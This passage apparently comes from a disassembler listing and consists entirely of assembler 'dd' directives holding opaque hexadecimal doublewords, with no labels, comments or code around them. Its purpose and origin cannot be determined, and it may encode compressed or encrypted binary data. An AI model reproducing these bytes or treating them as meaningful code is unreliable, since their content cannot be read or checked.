		dd 0FEE29F00h, 6EDBD66h, 8073C7h, 65487660h, 14948D6Fh
		dd 6DB25800h, 0F5308B75h, 747A0177h, 67450419h,	2E1EE4A5h
		dd 684F6E26h, 63B86000h, 0F6712942h, 2A10B05Dh,	0D8C720h
		dd 4C1AA975h, 9D78F9F8h, 6E689C03h, 80550CB0h, 783AD63h
		dd 5AD66D15h, 0C0BE6405h, 4EABBF20h, 0F18C5E00h, 0B2F8994Ch
		dd 0AAAC00FFh, 0E2D49716h, 800D919h, 792F02E0h,	204CE9F6h
		dd 310073CBh, 0EC5C17A1h, 3DEEABD8h, 8F2CDA47h,	389140D4h
		dd 0D005E50h, 0CBF6B579h, 1CD3E52Ch, 8053FE48h,	7CC1326Fh
		dd 0C9FCAD73h, 0C848h, 0F430E302h, 2C11F5A1h, 2479D8BAh
		dd 0C8A0738h, 0C2A34FFFh, 8FD03A43h, 0DB00B63Bh, 6FA66D20h
		dd 362E4h, 0D7AB5A42h, 8C8EB7DAh, 43202305h, 2081E80Dh
		dd 7C64BF05h, 0D189164Ch, 0A68C40B4h, 7D79BE5Fh, 1DA3100h
		dd 17150BD4h, 7CA5079Ch, 83350D52h, 0D0ACB423h,	2D5A92A0h
		dd 0C2F4FD05h, 5CE0DF96h, 0D0190008h, 912AC8Eh,	89EF4A71h
		dd 875ED1B0h, 7C5076C7h, 13121634h, 52625Ah, 0B1790910h
		dd 0F94CF3E1h, 0D8037E1Bh, 0A3048610h, 0F7D0006Ch, 457F693Ah
		dd 0B09A1DEFh, 0E65B621Dh, 0CC40C9D2h, 6DE8DA7Eh, 83E0DD39h
		dd 7C27B99Fh, 2BB1102h,	0E4483A0Ah, 226B2C0Ch, 0BD168068h
		dd 49593DB8h, 0C3C7F701h, 7F90B399h, 170CD860h,	130BB1h
		dd 0C2C8F910h, 1B005EBCh, 0B4B50FBDh, 570AE14h,	3BFC26D2h
		dd 60C1815Ch, 211C7308h, 568C16E2h, 9CE460B4h, 86014B28h
		dd 4EBAAB31h, 48746340h, 1CFF00F5h, 0DFCF4C88h,	0D23E7F84h
		dd 0FEBE1E2Bh, 3B410818h, 73AA0C51h, 6369D5ECh,	3B8BE8B3h
		dd 31E28CA5h, 923D09B7h, 836BB3h, 1900DFB4h, 0F97DB2Bh
		dd 3AA3C2CDh, 4C032A1Bh, 586C6A30h, 393DE4E0h, 0BB04987Fh
		dd 0D983156Dh, 5E8090C0h, 53A2EDBh, 89D100A4h, 0C449C336h
		dd 87F24238h, 0A185ADDFh, 0D1547D80h, 993015CAh, 0F002CC08h
		dd 90D7C535h, 0F89B074h, 0CC8F833Eh, 789E814h, 10925C9Eh
		dd 94F9AF00h, 0A2991375h, 0F6B4ED00h, 55A96D96h, 0CDF04CBh
		dd 0BC26FE5Bh, 0AE770184h, 0F359BDD6h, 64A780D6h, 0BC7038Eh
		dd 0EDD2B15h, 9B390CE0h, 0D3F2A91Ah, 840C5611h,	8049AEDBh
		dd 0D442906Eh, 41F80E00h, 1454F50Bh, 0A040E7FBh, 0AA456Ah
		dd 8DA474ABh, 76CF2779h, 508BC412h, 52235440h, 16336E3h
		dd 0F2C72FEDh, 30C6972Bh, 9C92A820h, 0E8755B02h, 5E8457DBh
		dd 5F0F00B0h, 0B973AE8Bh, 8824D85Ch, 0D6DF87ECh, 1E14E427h
		dd 515BD9C0h, 7E6845h, 0D3A57EAh, 0E6EF2A8Ch, 339E7200h
		dd 63CF4B5Dh, 501B024Dh, 7EE2AC55h, 11D60CF0h, 0C5760CC0h
		dd 0CB331C67h, 0D9650066h, 285229B1h, 99935E00h, 3AFEBDF9h
		dd 76F50081h, 4D8F611Fh, 404C1A86h, 32EA0748h, 0B150B421h
		dd 901F9067h, 20F44F97h, 5118A8F0h, 3009502Eh, 419D003Bh
		dd 0D79546DAh, 34DB0023h, 686C4FFEh, 0F0010DBBh, 42AB7A3h
		dd 0BDC11A5h, 0E3120F44h, 81A03E63h, 52AC0AF8h,	4C92E17Dh
		dd 46B55500h, 4AE8FE8h,	0A74C003Dh, 2AF8C940h, 792F3691h
		dd 972000D9h, 577A18h, 0DADDAC60h, 831021F1h, 4E0004F8h
		dd 82BF654Bh, 0B27D27h,	0DAE7CADDh, 60156CF6h, 8FEC75E6h
		dd 0EA9BBE07h, 20BFD192h, 0EEFBA070h, 0B8144C29h, 0CC4957A1h
		dd 0AE711643h, 97E74F13h, 0E5F68000h, 34AA42h, 0F5887392h
		dd 6E7A31C7h, 35FC3A09h, 20500F79h, 6F8364E0h, 0F41E49B9h
		dd 0A5AC6500h, 0BF543BB2h, 14C98824h, 0AF7442h,	0EB7FCF97h
		dd 0FBAB7B04h, 0BE806E84h, 45D2F7h, 5C68A9FEh, 0D3F3668Eh
		dd 0E77F8C00h, 19C1DA67h, 0E4610362h, 0A13DDF43h, 5B4CAC90h
		dd 800091FCh, 61E50D14h, 5B9D344h, 1CE16A8Ah, 0B6F48067h
		dd 2303F108h, 41BEBB12h, 0ADA2C014h, 0D2200056h, 6FB46296h
		dd 7E022CBCh, 0D4864EE1h, 0E903C0E4h, 4CA30F50h, 0C1A288FEh
		dd 9BC09D01h, 0B03BC62h, 5F4FBEEDh, 0DD8FB03Ah,	0EC49586Fh
		dd 150A8D1Eh, 203FC863h, 4947A9Ch, 0E0229B6Eh, 5C001FA0h
		dd 0B7CA9671h, 0EAFAB214h, 0BAFD0012h, 0B5BD777Dh, 0D8A0C4E7h
		dd 5403583Bh, 55148660h, 0D0909C9Dh, 136C9446h,	409FE55Ch
		dd 0BF1AC5Ch, 0AA127464h, 9CD01EA1h, 5C02238Dh,	0F405E94Ch
		dd 80DC5E63h, 7D1AC75Fh, 73B30BEh, 0F5B79695h, 0FDF880F8h
		dd 0F713D7DDh, 0BBB55D00h, 8012BAE0h, 0E54B2C21h, 5E738054h
		dd 0D5EF7EE3h, 0FD676100h, 4F4A646h, 97E401B5h,	0B9CCD2C9h
		dd 0BA3181EAh, 3CDF9908h, 906471DAh, 8FD1C0FAh,	7B59917Ah
		dd 4821004Dh, 9C93D9A7h, 54B36DBFh, 13883480h, 163A3CBDh
		dd 407BD845h, 3ED747ECh, 40B1EDECh, 0A201239Eh,	0F31A66D9h
		dd 304EA8h, 73D8EF94h, 91016318h, 9666F500h, 6C2A4E81h
		dd 82F3146Ah, 0B027B09Ch, 3895CCC0h, 50445E00h,	42750FE2h
		dd 1E991684h, 0C827C8h,	323C3EBEh, 74A4F470h, 0DEBCD559h
		dd 520434C1h, 1960BFE4h, 0CC160A30h, 50742C29h,	0EA007DE4h
		dd 0C2B68BA4h, 173A505h, 51BB2F36h, 9C562284h, 728F6620h
		dd 2D1D204Fh, 0C2DF86h,	4130D1E6h, 409BB17h, 28C1F85Ah
		dd 483CF1AFh, 0FE764EB0h, 9A7D5109h, 7302128h, 0E9839F86h
		dd 3E61EDF5h, 4848F2B2h, 492AEC19h, 1120BC0Ch, 8F622581h
		dd 0F1000067h, 731471FFh, 75D90030h, 0E4C1443Ch, 0A30006C7h
		dd 4758DB94h, 5870C279h, 0E7076860h, 0ACF6C00Eh, 5019811h
		dd 53C322A3h, 0F6603482h, 0CFE702A6h, 61BA3F25h, 0A8D46942h
		dd 5653F203h, 0A96FE0B0h, 0C0B10939h, 6CF0F9F8h, 2DFAB02h
		dd 0A0548D7Ch, 818809D0h, 416C2A58h, 48CD138Ch,	0DA1DD7h
		dd 3477047Fh, 920032BAh, 0A1024124h, 0DFF4ACF3h, 0C0738250h
		dd 9C820B76h, 898004E5h, 0F6AFB405h, 0E800A1B0h, 0AA68F4D9h
		dd 1551660h, 8189F9DFh,	0FA8DF16Ah, 0DA00FC64h,	15EF041Dh
		dd 75EEE6Dh, 7643FE02h,	0B120C0ABh, 7D090DC8h, 70C46684h
		dd 8EBD1CECh, 610E803Dh, 917BAB38h, 9DBFDF00h, 9E0444Fh
		dd 5AE5F8F9h, 4D08185h,	0AF53F02Eh, 0E6481300h,	622A8137h
		dd 0B9260086h, 405A69Ch, 0B00058FFh, 0EEAF4297h, 3BE449F9h
		dd 30807279h, 5A675406h, 0DA0BE970h, 0E80ECE8h,	6B180094h
		dd 0F074A6h, 3B7D5593h,	83362FD5h, 6D46BD00h, 22B44029h
		dd 0D0E600FCh, 13C50309h, 0F0A0A624h, 0BD4D4E37h, 60302708h
		dd 0BCDF98h, 7FCB7D18h,	55941499h, 1FFB39h, 0DD5169CDh
		dd 3FF3606Ch, 0B7806B91h, 0BCC7E966h, 0E20205D9h, 0F66F2ECDh
		dd 60CC8E4Eh, 301A5761h, 591B0028h, 9293D47Ah, 94BA41C1h
		dd 9821DB4Fh, 2007BE8Ch, 5DDC22D7h, 200E278h, 0B108F477h
		dd 76D22F49h, 0A1117EDh, 333401F7h, 60AF93FBh, 0B0006AC0h
		dd 0D767141Eh, 92D8B32Dh, 2822FBC0h, 99373600h,	8DF0A452h
		dd 0E53FB217h, 2F564202h, 2387E8Fh, 78D1C351h, 5341B260h
		dd 66ABA91Fh, 0B4E0F80h, 18D8E5Fh, 52CCF317h, 3EC820ACh
		dd 0A9A3800h, 4C0D0Bh, 0D7B81BB0h, 97877E37h, 40688B00h
		dd 5A339242h, 0F5BC0093h, 24B4D675h, 0D33A07A5h, 41B59DABh
		dd 9F267300h, 6B9DB0h, 0CB0DE6C4h, 0D56EB24Bh, 6C75A200h
		dd 0D61E6A3Ah, 6208005Dh, 866D58A6h, 3400192Dh,	8320FBA7h
		dd 0D86884h, 0ACEB40FDh, 0C5AFE01Bh, 0C19ACB07h, 0F01077C2h
		dd 58D2E5h, 82923549h, 24F765F9h, 9900709Ch, 47E1FD76h
		dd 0E2BFD86h, 56EF4FA8h
		dd 3FD6C340h, 0E204E745h, 8F9A6D64h, 1FB0E880h,	43A700D7h
		dd 98FC4427h, 6B0022B5h, 8BAB11B1h, 16032049h, 0E4C8E9C1h
		dd 2D00EED0h, 9474FE3Eh, 0F233E88Bh, 8C0424DDh,	8AF10014h
		dd 250AAABCh, 7EA41F58h, 0BD08D61Eh, 0C110C9EDh, 0FDF4E4h
		dd 7A589965h, 0CEC5B174h, 8EDCA71Ch, 0AD8879C0h, 2CD90CEBh
		dd 821C104Bh, 91FCEA3Ah, 0BD1DCC7Ch, 8357218Bh,	0ED9F6720h
		dd 0BB30E0h, 0CB5B38F0h, 3585C6A4h, 5C650A24h, 3C491001h
		dd 81F44220h, 0E5280190h, 4B1C16E6h, 98A6F4F0h,	150075E2h
		dd 24B59BA3h, 161FB365h, 4F91D1h, 8AA42842h, 5001C25h
		dd 85ABFF94h, 1358AFB7h, 204D73C2h, 7DBC8C80h, 655B3902h
		dd 605D8406h, 31E90F0h,	30A8B74Bh, 0E98854D8h, 0BE00AC92h
		dd 0B4830BE0h, 4C85BAC4h, 0D0002078h, 7A477426h, 3A000990h
		dd 99A18D8Bh, 48B8202Dh, 1000814Ch, 0DB9D74F3h,	1660CFF5h
		dd 4948660Ah, 82542560h, 0DDE9FCC0h, 5722509h, 172083A9h
		dd 40E8CCACh, 0A1A1E68Ch, 0ECE7F00Ah, 9E3BB0D1h, 0EA809A23h
		dd 4B7ACBBAh, 0D9E1024Eh, 3727C943h, 3E281440h,	0A303BE02h
		dd 6038F313h, 0B015A1Bh, 4829DD76h, 18004F89h, 9778B98Fh
		dd 8C403700h, 1D13AFAh,	75610030h, 452B6B67h, 5DEE279Fh
		dd 0AABD9200h, 4E563B87h, 4C400035h, 0E1EC96D5h, 0B31E8CFBh
		dd 5B0FB5F1h, 8E09A0h, 0BAF60225h, 0C635D64h, 718C1F00h
		dd 0FC94773Dh, 0DA2CD500h, 0E038E275h, 32220065h, 9BBE8844h
		dd 98EC6EB3h, 0E707D7B8h, 81F9C8DFh, 95294B70h,	6E6F3CB4h
		dd 0BF59CA30h, 7900D0D4h, 707E83A0h, 98F6FB72h,	1A9101FCh
		dd 0D488905Dh, 9FA851E5h, 522A600Dh, 69E64A0Eh,	0BCA0B374h
		dd 9B1C148Eh, 4F38B4CEh, 9D5A9280h, 2E419535h, 88F49900h
		dd 636FC8EEh, 0CED7814h, 469B0A92h, 47008F41h, 5785C5F0h
		dd 2C1B1536h, 580C8h, 0B16829A9h, 58B87CA0h, 4EA840Eh
		dd 0BD7EA03Ch, 90A4D3FFh, 8077D6h, 0CED94221h, 0E7ED5667h
		dd 0F3F8CB38h, 90FFAB14h, 534301DCh, 3C0A8B47h,	79E11F8h
		dd 0B5543ACDh, 9BFE052h, 1A04FB21h, 18FE396Bh, 32383CF8h
		dd 9DBC76FDh, 1FCD9C80h, 0E80AA7BEh, 0DC5CB161h, 3C1AA205h
		dd 6C004CBCh, 0BE21E2CFh, 0F11CC0FCh, 2CCF91FEh, 0DDAE01D3h
		dd 0D0400282h, 45FFFE2h, 1D4CF06Bh, 0EEBCC07Bh,	463829A5h
		dd 90C28055h, 0F89A89D6h, 7757AA8h, 0E20832BFh,	0ACE09EF3h
		dd 9F2703E6h, 0B9308602h, 0E8FD1F61h, 113C6Ch, 0CE3182D1h
		dd 0D3906B70h, 0EEA64000h, 17D55204h, 74181F63h, 73AF4001h
		dd 6816695Ah, 0AEC02200h, 48A7F7FBh, 0E6EF01CDh, 9BBC2DD6h
		dd 716460A4h, 0B0094F05h, 75FC23E8h, 51F7FC07h,	0A606408Ch
		dd 7E1E07A4h, 0F8C4CE5h, 99C88B4h, 0A2F1FF0Ch, 0B7653C23h
		dd 339F31F8h, 0A8EDA00Eh, 0DC801CFEh, 0F8D854F4h, 8A36001Fh
		dd 67B93902h, 38CF2F62h, 0F7F600B3h, 17A1E60h, 0D302EAD8h
		dd 8113959Dh, 0D2A79120h, 11AE9C83h, 23440B60h,	3400D0D8h
		dd 0F05FD649h, 7AE1189Fh, 64710136h, 33D7A97Dh,	8583D0C7h
		dd 0DC90DD16h, 0BBFC3713h, 0F4B2C040h, 0BF201D82h, 80CE0EEAh
		dd 0C2D8CC20h, 0A6008DFCh, 5FB15A09h, 3F5811Bh,	30E3A5D0h
		dd 0A087616Eh, 177BA918h, 89164F7Ch, 8003C60h, 2E2D5B28h
		dd 1645E0BCh, 0B391095Ah, 4259BC00h, 22C22DA0h,	40620954h
		dd 12CE63FBh, 0C5F84CF3h, 57C13E0h, 0C06DE410h,	0EA68CAB6h
		dd 0A80F5Ch, 522B4D5Ah,	4A027B8Dh, 8C942032h, 0D0561B8h
		dd 0D7239967h, 410110F8h, 8ECCFF2Fh, 0BF6470D0h, 0AF64DD3Fh
		dd 96FC60C3h, 7D41883Fh, 52ADEA00h, 26A707Bh, 1C9CF04h
		dd 0CF14F500h, 564F881Dh, 8F609EFh, 4EAB64A0h, 37492175h
		dd 867034h, 4DE10D1Dh, 0E2917090h, 0CB9F7402h, 40AC7E6Eh
		dd 24F69BC4h, 0C04511h,	0D308D9EAh, 987470A1h, 8500E4B2h
		dd 6FA4E403h, 616CA8h, 36DEBC7Ah, 0BD7DA75Ch, 7BBE100h
		dd 0F70C19Eh, 54E80035h, 0EC76F989h, 0E900D541h, 0BC2AA890h
		dd 30FEA213h, 0ABF0AE07h, 0A6011CDBh, 96506432h, 0ECC4F5E7h
		dd 18D913AFh, 2330A47Ah, 0D0D7614Fh, 1101C67Ah,	2016044h
		dd 2D782E4h, 9BD9EE6h, 0F48142B9h, 7A10D5EAh, 0D140F401h
		dd 0E02CCDC7h, 48173E00h, 0ACBFB421h, 538F5516h, 75CC4CB0h
		dd 0EA6B0110h, 22CD67DAh, 5CC0CF71h, 8300AB93h,	23E3CBC9h
		dd 9F4F57h, 0AEFF9209h,	67975C11h, 757ECC09h, 0A4C804Dh
		dd 20C0B08Fh, 8322E530h, 0FAF71FE0h, 0D64FC217h, 0BC51B2FCh
		dd 7B58408h, 43E13FE7h,	97B04C48h, 0CC5CAB41h, 1ADD0C77h
		dd 4376030h, 53AD9190h,	0B6EC02FAh, 0E47F0584h,	2F042704h
		dd 6BDA414Fh, 576CE0h, 7ADBA98Eh, 6F1D56A3h, 810ED200h
		dd 0F822B8E1h, 7F5B0CC6h, 0A388B0B1h, 0D56CFA07h, 28C26F11h
		dd 7EE7C29Fh, 61C781BCh, 0F0EB514Bh, 0AE00E44Ch, 4F33FA5Eh
		dd 0EE03BE2h, 0C56EA5C3h, 2C006549h, 1368C0E7h,	2C7CB13Ch
		dd 0EE0713FBh, 0DAD04228h, 0C2B0E92Dh, 0F998AFC0h, 41E25872h
		dd 4200FAE2h, 73AAA64Bh, 52F6EF24h, 1E1F9CA4h, 80D35D51h
		dd 597DB9B2h, 7309A3B7h, 21371310h, 423066C8h, 3C9D5D8h
		dd 2E4BD0B0h, 7AF314A9h, 0D8E8ACh, 554CD4FAh, 0A59E41h
		dd 8314337Eh, 8AB5D20Ah, 0C5BF7001h, 0F274D465h, 0B4788FE9h
		dd 3CD09800h, 0EB6A6BA3h, 0DE032271h, 0A719C2BCh, 8AD10081h
		dd 3F3D9F16h, 4500999Ch, 2EB20D22h, 1E4609C8h, 0C060F15Ah
		dd 4A55C269h, 53719336h, 0CDE38300h, 0C88A6E70h, 9D9C1D7Ah
		dd 0F1A10022h, 401091FFh, 84024C9Ch, 48958F24h,	0E8B1400h
		dd 83161E45h, 0A281218Eh, 8693B127h, 78BA2E21h,	6CF60339h
		dd 74FFC8B3h, 63323CA0h, 7CFC18C7h, 0E4DC03C3h,	0E3E84CD1h
		dd 0F1D860h, 0E97BAE04h, 0EF342EBFh, 2728EB7Dh,	1F7B30B6h
		dd 586A391Fh, 16244440h, 0A8B427B9h, 84795940h,	80FD4440h
		dd 9614FFFAh, 7104D10h,	1D93B022h, 0BA0B56F1h, 4AA68C8h
		dd 4B5BD585h, 7249806Fh, 0B400A28Eh, 3D3CA4ACh,	12979926h
		dd 225957h, 0D0EB9E23h,	390F86D2h, 80E2A5B2h, 0FAAFB98Dh
		dd 0FC94007Ch, 0CCAC75E5h, 57E46FCFh, 0A527E207h, 8D508988h
		dd 20CEA1h, 62F5B550h, 363AD1EBh, 0F2701100h, 82AEAC47h
		dd 97860079h, 0E86D1392h, 6400C9FEh, 48EA211Bh,	0AF3A2Bh
		dd 0B0FDFC16h, 0AB0EDE24h, 0D238DC00h, 0C602AA90h, 19BE0AD5h
		dd 0B89597h, 0CD0C6D20h, 17B0E49Eh, 7025DFEAh, 80987193h
		dd 40D1EE46h, 0D3383D09h, 2203745Bh, 2FF2525Ch,	0E13F8B05h
		dd 0E7F0035Fh, 0F0170F51h, 0F3AF56DEh, 46319807h, 20001023h
		dd 0FF526ED0h, 17A9B2Fh, 227082B6h, 0C4072E3Bh,	4001FBF2h
		dd 54D13C17h, 0A471F011h, 1ED722F4h, 1B210350h,	30070860h
		dd 291200Ch, 41423AC7h,	0CF805D26h, 512BCF0Fh, 64CE7528h
		dd 505F048Fh, 0B360C488h, 6873910h, 2192608Ah, 0DE525CFh
		dd 442B1603h, 30C32E76h, 0D421C708h, 9D00E5CCh,	49CFE963h
		dd 0EEFF0E58h, 5F8E0371h, 0A5BF1F72h, 1A416900h, 34FFCF50h
		dd 248019B3h, 74480836h, 220361CCh, 0EBFAFE50h,	93A2D042h
		dd 7564EC94h, 0F8B51956h, 0D00BB1ADh, 7160D8F3h, 40064D11h
		dd 1BE90B0Ch, 278DA4E3h, 4407B08h, 91401E30h, 238700A8h
		dd 61244821h, 1200EF05h, 949046BEh, 51FE099h, 117BAACAh
		dd 0AF884076h, 2EDA03Eh
		dd 0A4F52000h, 0C20DBA46h, 0B03500F8h, 683B5A0Ch, 7CF80E05h
		dd 0DC40C9C0h, 0C4341Eh, 2262D448h, 86F902ADh, 0B5AF7704h
		dd 0D401F25h, 5D230FB6h, 0FFFC98A0h, 87B15A00h,	0FB660E77h
		dd 0ADE8038Fh, 0A4AEF57Bh, 580572F1h, 5008DCA8h, 0C404FF21h
		dd 203B4F4Bh, 2BBCF150h, 4E1930DCh, 0C2890119h,	9564E0A8h
		dd 80354C3Dh, 6AD626F8h, 0DA469Ch, 5AC05F5Bh, 116644F2h
		dd 0AB17B60Ch, 10FAA84Eh, 0BFDAF7h, 0A427390Fh,	0C5B96D9h
		dd 6F2380EFh, 0E54E6E89h, 0B2765045h, 7729A840h, 0EEA7299h
		dd 4AE42EF5h, 0C5C6A6C0h, 0DE0090E3h, 0E7F7B918h, 6777DBD5h
		dd 0BDCA9AEh, 68EC24D2h, 0A51A0A8h, 0F4B0ED00h,	126F96D4h
		dd 69996076h, 0D3AC0292h, 8966BD13h, 0BF0F6490h, 0FA24A071h
		dd 96B0123h, 87D911B4h,	4DB1C0FDh, 0CCB63D06h, 6965DFh
		dd 519ED381h, 46F0C18h,	351441DFh, 0E140750h, 8ED079B4h
		dd 7C22B27Ah, 0D6C714A9h, 5C069485h, 2078900Eh,	39525F18h
		dd 60EEE738h, 76102098h, 0B0A365C4h, 229701E0h,	4572A004h
		dd 50877B6Ah, 0CE8FE3A1h, 0E6237100h, 89F25930h, 1885AC0Bh
		dd 20D833CBh, 92326A49h, 5ABB3873h, 987F7Ch, 1CFD1459h
		dd 0EE0F867h, 0A493CDF8h, 64400C0Fh, 1C622BE9h,	40042A20h
		dd 85B600ECh, 4FFD18E2h, 0F80CF925h, 697BBFF1h,	0CE58009Ah
		dd 0E10FBC4h, 0AD129FCAh, 801EE15Eh, 35972701h,	0F8828F7Ah
		dd 4F336658h, 3EF0400h,	639814E3h, 9381E42Eh, 82DD37E0h
		dd 1A12E9D8h, 10C62A7h,	80772390h, 0EE42980h, 341A09B7h
		dd 34D1898h, 21BF301Ch,	9B736CAh, 7CE23312h, 18D62499h
		dd 3F40080Dh, 64C423E9h, 40053740h, 90097547h, 9D5644D0h
		dd 9EC81198h, 0B70D4080h, 0AB46507h, 225AE8A7h,	13068AF4h
		dd 8CF411CCh, 52E93207h, 59224CD3h, 401F2D00h, 48A364D2h
		dd 0AE8B09F8h, 0F4182011h, 4DFAD770h, 82005FF0h, 14D8FC53h
		dd 2E696h, 99C62A37h, 0C092FA24h, 0C90FD8C0h, 0C90A327h
		dd 846AA88h, 0B14DEF1Ah, 0BA1F0A90h, 0BAF86Eh, 49E821E3h
		dd 2BE790Eh, 70C5480Dh,	18783F93h, 0BCD8084Ch, 82398C1Ch
		dd 9FDB09ADh, 56D080D1h, 54C75B73h, 4E6C28h, 0BDD827C1h
		dd 68B5127Ch, 0BACA2100h, 0F2323089h, 17200040h, 2EEF6AF1h
		dd 0B0C69485h, 9419CE5h, 509B3F96h, 8BF14001h, 311980D8h
		dd 0ECD73367h, 8D520EDCh, 1400F754h, 0B8FB76Ch,	409587Bh
		dd 23BD76E2h, 0E056E130h, 161FEBh, 0B759CB87h, 8134415Dh
		dd 3AEFE70Ah, 9C94E0B6h, 8C64E888h, 16F8EAA0h, 58632728h
		dd 7CB9644h, 61E33E73h,	0F20904Dh, 0DD6071F0h, 41066D41h
		dd 982304B5h, 82E2073Dh, 2E300B5Ch, 161211E5h, 1E29CD3h
		dd 0DAE5C9D5h, 64A71DDCh, 0EB09AD40h, 495A62h, 6FE8245Ch
		dd 40FE03DDh, 4756463h,	97C12B8h, 0AE5FBCA0h, 98A053h
		dd 8F14E18Ch, 0CDE338h,	0DB068309h, 0EF7736E6h,	0F5689D08h
		dd 69980171h, 86488E62h, 5A601968h, 20846C0h, 16DFE5D7h
		dd 10C9313Bh, 7EE5FED2h, 62090172h, 6EB21E4Ah, 0F7069F2h
		dd 340367B6h, 86113ACh,	55230C2Fh, 0BAACF307h, 5A6390D1h
		dd 1B166032h, 9C6414EBh, 1E6A6906h, 0FBF8C891h,	0FC29443Eh
		dd 1CC438A5h, 45D2E260h, 0DDE52905h, 0B7C40975h, 1078F4C2h
		dd 87671163h, 41002389h, 0C0771E5Ah, 0A0E6B580h, 5E5CCF0Eh
		dd 8C40BCD4h, 3806E100h, 96E0C683h, 4FDE0A9Ah, 847C5963h
		dd 0C00BE3h, 0A72F3FEFh, 0E0622CE4h, 59100604h,	0FA46F841h
		dd 0B400902h, 613103E9h, 40013310h, 0F5120700h,	2167D102h
		dd 0F7F3131Ah, 0A64C42B6h, 94E55E16h, 8C6075E4h, 975CEA6Eh
		dd 0EB188114h, 5993CE4Fh, 56E80C2Eh, 84905D89h,	0FCB97A61h
		dd 0F0741E9Fh, 631F1296h, 20D04072h, 76FCB401h,	830D39CBh
		dd 96899413h, 4A390069h, 0F2CCEBFDh, 0DC182208h, 3199760Ah
		dd 0A010CC20h, 410E6EC9h, 8071FD1Fh, 1A0ECF09h,	3027705Fh
		dd 0CA51DE89h, 6500F7C5h, 542A4868h, 1FC692AAh,	0D2406616h
		dd 47400841h, 8A4C0828h, 401B8F20h, 0F35FF9D8h,	2E1A0008h
		dd 6BC75A4Ah, 11240495h, 3F3DA858h, 13E30A0Fh, 63018CC8h
		dd 2207AF6Ch, 609898ACh, 35532741h, 0BDC4FB18h,	928E76B0h
		dd 70EF060Ch, 4CB0BB3Bh, 1277109Ah, 64EB6712h, 1EE78480h
		dd 43AA899Dh, 0DB9B34F0h, 3E916C3h, 0DE288B4Dh,	39C01DA0h
		dd 0DCC909C6h, 0B3001318h, 3EB91E62h, 9C5100E2h, 9FE356B9h
		dd 5944C700h, 0F6B43D92h, 8829C66Fh, 330051D9h,	0DFA5B5BBh
		dd 0BC95F2Bh, 27A02545h, 0B7024CB0h, 541A0D11h,	26808888h
		dd 74FAB70Ah, 0B3E50F6Ch, 0E801E905h, 2086FD27h, 535D73D8h
		dd 422E7D90h, 94003FBAh, 0B3565581h, 73F930B5h,	765CF899h
		dd 5F6434E5h, 48798491h, 7D0CFA18h, 0A19C1663h,	30FB51B5h
		dd 54B47CC8h, 911008FAh, 5B74648Ch, 1F608480h, 0FF21C850h
		dd 2762C0DCh, 3A241850h, 0A23B9CFAh, 995DFA6Eh,	36F4002Ch
		dd 8F5FE63h, 0E093E91Eh, 9893ACACh, 975286Fh, 701242EBh
		dd 48009842h, 0B23DE1C0h, 0DF0A0B00h, 6A39B454h, 60411C83h
		dd 5AFB0108h, 24F4B78Ah, 744421F4h, 8402B862h, 12940CA0h
		dd 0DA119877h, 5524EC00h, 0BE913A0Dh, 5E723BF3h, 0F2CFA8DCh
		dd 0D3D19B60h, 9900C7D2h, 0C0A11BCBh, 0C00E373Ah, 170F22F8h
		dd 6B0F3EEBh, 1FBE76BBh, 2117CA6h, 0D6500D80h, 0B8A70CFFh
		dd 50153800h, 315D817Ah, 0BBA1B717h, 36218E7Dh,	1AB800A3h
		dd 93F9B3Eh, 0AB9ED5E1h, 0C08EC832h, 0E5CB81D1h, 31FE161Bh
		dd 0F2EE10C5h, 0FD1548E5h, 0A6A00178h, 0B331A5A8h, 4C091E0h
		dd 24501380h, 458C3CFFh, 501BDC46h, 3502A800h, 0DBFB1AF1h
		dd 4C4C98C9h, 0E33AE0CFh, 4909CD20h, 0A0797662h, 91F8277Ch
		dd 6DA42684h, 6A1408B0h, 54F20100h, 0EF15A18h, 108C2A99h
		dd 4BF476C2h, 5035A84Ah, 736200B8h, 89EF5A27h, 0B3C0169Bh
		dd 0B62C41DBh, 92546317h, 0C8CB1060h, 94C05AC8h, 3AC94BCAh
		dd 0E6A6D59Fh, 4C161C9Ch, 6E58747Fh, 6C52E94Ah,	37290C8h
		dd 7BEFC6A8h, 6030F179h, 6371B944h, 0A4112414h,	5B218C60h
		dd 0A4998871h, 0F1407B80h, 1E49ACh, 54D83CE6h, 0EDAADFA8h
		dd 14EEA402h, 5862CD7Fh, 0B45F12F4h, 16E83225h,	60FDB510h
		dd 0F1D1970h, 143F36F7h, 631CD858h, 801A0A08h, 7E207C8h
		dd 13ACAF0Fh, 541309DCh, 0A1E040B5h, 0E1CEC42Ch, 1858AA13h
		dd 22B7B401h, 0C83624A0h, 54E4033Dh, 0B2C8D85Ch, 50BCF88h
		dd 19F8B9B7h, 3B8DC042h, 9A607622h, 0C11FF21h, 0FC171DF1h
		dd 0B11D12CAh, 2F786074h, 7C73DA41h, 0E7F30F7Ch, 7387ADFCh
		dd 7CB819Eh, 772894DEh,	0E94400E8h, 93A0666Ah, 71F40994h
		dd 7CE8DBEBh, 6E887A1Bh, 0B2E48BEEh, 0EFF23ACh,	0E904400Ah
		dd 188E3Bh, 65400234h, 0C04FD51h, 9B76C9A8h, 0EF717AD9h
		dd 0B6E9F526h, 62277C00h, 1B663A40h, 0C0FB03E3h, 3CF17023h
		dd 0E90A4084h, 2758620Bh, 18400036h, 31DD4A7h, 474226CCh
		dd 4C01725Bh, 501805A4h, 0A224FFF5h, 2067C464h,	0C1238A05h
		dd 20681365h, 7E17246Ch, 9043FCB3h, 0ACEB6EB4h,	10A2BCD4h
		dd 0E130C7F2h, 16880072h, 0E8271FD5h, 9D2406F0h, 810B4854h
		dd 1D380907h, 804F9154h, 0E678C138h, 0AA2601FFh, 0B3FD390Fh
		dd 0FB54240Eh, 0D44FBA4Fh, 0DB29E02Ch, 90CC39FDh, 0C1F22208h
		dd 0F04800B8h, 93DC8104h
		dd 841EC6Eh, 4822CF09h,	0CD3BEB08h, 7C2BE358h, 90848ACAh
		dd 0B70D6026h, 0C1A2308h, 0C1008C11h, 2C9CB735h, 0B31E443Fh
		dd 0D6529524h, 23A28081h, 90FCE834h, 64B09464h,	0DD48C833h
		dd 5ADCC244h, 88C8240Fh, 9201D410h, 9B53890Dh, 7DE0F86Bh
		dd 0EB7E1478h, 2101CCAh, 80668849h, 438E01DBh, 3C0037E0h
		dd 80F06D6h, 71C135FAh,	323F024Ch, 0E3EFA121h, 101630D8h
		dd 0CC876976h, 91D904C0h, 62EF00E1h, 9497F81Ah,	7AECD685h
		dd 282C0226h, 2DDF8130h, 224A72h, 661F4E8Ch, 32AC5FBh
		dd 8130ACAEh, 0FD0D3065h, 205B5B8Dh, 23B22500h,	6B6F8305h
